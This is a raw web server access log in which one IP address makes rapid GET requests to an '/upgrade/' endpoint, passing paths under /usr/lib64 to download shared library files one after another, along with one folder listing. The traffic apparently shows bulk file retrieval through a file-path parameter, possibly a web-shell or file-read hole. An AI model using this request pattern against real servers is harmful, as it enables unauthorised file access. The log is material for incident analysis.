45.135.193.11 - - [11/Sep/2026:23:03:07 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliblzma.so.5.2.5&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 189897 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliblzma.so.5.2.5&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:08 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmpc.so.3&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 153273 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmpc.so.3&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:08 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnfsidmap.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 118571 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnfsidmap.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:09 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnn.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 144055 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnn.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:09 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpcp_archive.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 113244 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpcp_archive.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:10 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsmime3.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 181459 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsmime3.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:10 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Fengines-3 HTTP/1.1" 200 6279 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Fengines-3" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:10 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibattr.so.1.1.2600&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 112972 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibattr.so.1.1.2600&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:11 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibavahi-common.so.3&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 127325 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibavahi-common.so.3&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:11 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgobject-2.0.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 259751 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgobject-2.0.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:11 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnftnl.so.11&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 189360 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnftnl.so.11&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:12 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpamc.so.0.82.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 111275 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpamc.so.0.82.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:12 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpcreposix.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 108416 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpcreposix.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:13 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibrpmio.so.9&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 202258 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibrpmio.so.9&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:13 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Fnss HTTP/1.1" 200 6040 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Fnss" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:14 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbfd-2.35.2-72.el9.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 644639 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbfd-2.35.2-72.el9.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:14 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibfreeblpriv3.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 524669 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibfreeblpriv3.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:14 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibjson-c.so.5.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 132517 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibjson-c.so.5.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:14 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibssl.so.3&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 560531 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibssl.so.3&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:15 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibverto-libev.so.1.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 108317 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibverto-libev.so.1.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:16 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxslt.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 227875 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxslt.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:16 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2F&option=folder HTTP/1.1" 200 103747 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2F&option=folder" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:17 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibFLAC.so.8.3.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 277758 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibFLAC.so.8.3.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:17 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcdt.so.5.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 118694 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcdt.so.5.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:18 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpsx.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 110379 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpsx.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:18 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsepol.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 479933 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsepol.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:19 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibwebp.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 324211 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibwebp.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:19 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibwebrtc_audio_processing.so.1.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 427881 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibwebrtc_audio_processing.so.1.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:20 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbluetooth.so.3.19.16&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 182750 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbluetooth.so.3.19.16&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:20 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibexempi.so.8.1.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 712838 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibexempi.so.8.1.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:21 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnfsidmap.so.1.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 118658 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnfsidmap.so.1.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:21 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpanelw.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 109424 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpanelw.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:22 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibprotobuf.so.25&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 1371522 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibprotobuf.so.25&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:22 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibresolv.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 133744 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibresolv.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:22 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibIex-3_1.so.30&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 216119 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibIex-3_1.so.30&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:23 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibe2p.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 120591 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibe2p.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:23 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibeconf.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 119530 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibeconf.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:23 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibraqm.so.0.8.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 110972 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibraqm.so.0.8.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:17 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibicudata.so.67&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 10524076 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibicudata.so.67&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:24 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibefivar.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 172486 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibefivar.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:24 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibicutest.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 135406 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibicutest.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:25 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibltdl.so.7&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 122904 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibltdl.so.7&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:25 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibwmflite-0.2.so.7.0.5&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 164525 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibwmflite-0.2.so.7.0.5&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:26 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxmlrpc.so.3&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 153699 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxmlrpc.so.3&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:26 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibOpenEXR-3_1.so.30&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 921409 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibOpenEXR-3_1.so.30&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:27 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgsm.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 127028 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgsm.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:27 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmpfr.so.6.1.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 435714 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmpfr.so.6.1.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:28 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibparted.so.2.0.4&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 253477 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibparted.so.2.0.4&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:28 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpipewire-0.3.so.0.1411.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 479262 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpipewire-0.3.so.0.1411.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:29 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibexpat.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 188543 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibexpat.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:29 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibfftw3f_omp.so.3&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 115433 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibfftw3f_omp.so.3&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:30 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibhogweed.so.6.10&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 430766 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibhogweed.so.6.10&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:30 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmodulemd.so.2.13.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 346646 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmodulemd.so.2.13.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:31 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnftables.so.1.1.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 497381 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnftables.so.1.1.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:31 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpoppler-glib.so.8.19.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 256798 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpoppler-glib.so.8.19.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:32 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibrdmacm.so.1.4.61.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 157343 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibrdmacm.so.1.4.61.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:32 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibslapi-2.4.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 106112 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibslapi-2.4.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:33 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibX11-xcb.so.1.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 106314 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibX11-xcb.so.1.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:33 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibedit.so.0.0.64&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 202347 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibedit.so.0.0.64&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
